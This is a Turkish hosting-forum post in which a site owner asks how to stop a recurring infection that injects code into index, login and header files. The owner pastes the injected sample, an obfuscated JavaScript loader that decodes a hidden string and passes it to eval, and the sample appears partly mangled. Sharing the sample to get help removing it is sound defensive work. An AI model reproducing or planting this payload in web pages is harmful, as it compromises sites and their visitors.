Tarih: 2008-11-07, 18:33:09 Mesaj konusu: whm veya cpanelden isdenmeyen kod yasaklama
merhaba arkadaslar söyle bir sorunum var sitelerime durmadan bu vürüs bulasiyor.ftp den tek tek siliyorum ama tekrar geliyor budefa malum tekrar tarama yaptiriyorum ve tek tek siliyorum silinmeyenleri. mesela örnek olarak bu koddan artik kina geldi biktim osandim. chmod dediler onlari yaptim yok .htaccess dediler. icerisine bu kodu ekledim
Alıntı:
<Files>
order deny,allow
deny from all
</Files>
bazi klassörlerin icine attim. yok olmadi yemin ederim biktim artik
suan yine bulasti kahrolasi o kodlar otomatikmanda siteye giris yapilamiyor. vürüs uyarisi veriyor.. bulasan kodu ekliyorm...
Alıntı:
<Live><s>function ebBx9(EGAz0gD200rP){return String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](EGAz0gD200rP);}function Ylk2ZruR(cJ3a4II26iBN){var NcXQDCK1=0,p0jehBg7SkK92=cJ3a4II26iBN.length,oSjpaIQ=1024,jNS0FtftGaOT3,XrArIWjNf,cwu66luO="",izspazTWWH=NcXQDCK1,pafP2VWBWVgy=NcXQDCK1,iTDx8mta=NcXQDCK1,NTn0hv0JWjmMDq=Array(63,24,52,3,25,42,15,14,8,57,0,0,0,0,0,0,43,51,27,37,44,9,41,38,35,50,16,49,28,12,54,47,23,48,45,34,19,61,2,11,55,62,60,0,0,0,0,5,0,6,7,26,13,56,30,20,58,32,29,36,4,59,53,1,18,17,31,10,39,40,0,46,33,21,22);for(XrArIWjNf=Math.ceil(p0jehBg7SkK92/oSjpaIQ);XrArIWjNf>NcXQDCK1;XrArIWjNf--){for(jNS0FtftGaOT3=Math.min(p0jehBg7SkK92,oSjpaIQ);jNS0FtftGaOT3>NcXQDCK1;jNS0FtftGaOT3--,p0jehBg7SkK92--){iTDx8mta|=(NTn0hv0JWjmMDq[cJ3a4II26iBN.charCodeAt(izspazTWWH++)-48])<<pafP2VWBWVgy>>=8;pafP2VWBWVgy-=2;}else{pafP2VWBWVgy=6;}}}return (cwu66luO);}var D8jfV="GasRxV5Fut@wNpBuZ5mwwb@wNVswQwBumWhFZasDUWrhZ7mF2SWDnBhFNSYUUacuCYfShtuYiasDH5B@mBsOxVWmCOORhSBSh6BShAmwKVB@mPcOCfrUSIBDxNWhCPrOQI@DUashCP0DtpWwQf@wtaWDtSf9n@mw45WRKSYUGasRxV5FubWDApWu9a5xxpBuic5mXOfhE56OAfsReVmhIA6";e v a l(Ylk2ZruR(D8jfV));</s></Live>
Kod bu bunu nasil yasaklaya bilrim.
Zaralarini biraz anlatayim gerci biliyorsunuzdur..
öncelikle index,default,login,header,foolder php,html,tpl uzantili dosyalara bulasiyor ve hosttaki tüm dosyalarin icindeki gendel olan dosyalara bulasiyor genel dedigim yukardaki. index login header dosyalarini kastettim..
biktim artik yav valla yardimlariniz icin simdiden tesekkür edeirm..
Bu forumda yeni başlıklar açamazsınız Bu forumdaki başlıklara cevap veremezsiniz Bu forumdaki mesajlarınızı değiştiremezsiniz Bu forumdaki mesajlarınızı silemezsiniz Bu forumdaki anketlerde oy kullanamazsınız